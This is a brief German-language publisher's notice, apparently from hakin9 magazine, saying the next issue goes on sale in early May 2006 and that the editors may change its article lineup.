Aktuelle Informationen zur kommenden Ausgabe – http://www.hakin9.org/de Die Ausgabe ist ab Anfang Mai 2006 im Handel erhältlich. Die Redaktion behält sich das Recht auf die Änderung in der Artikelzusammenstellung vor.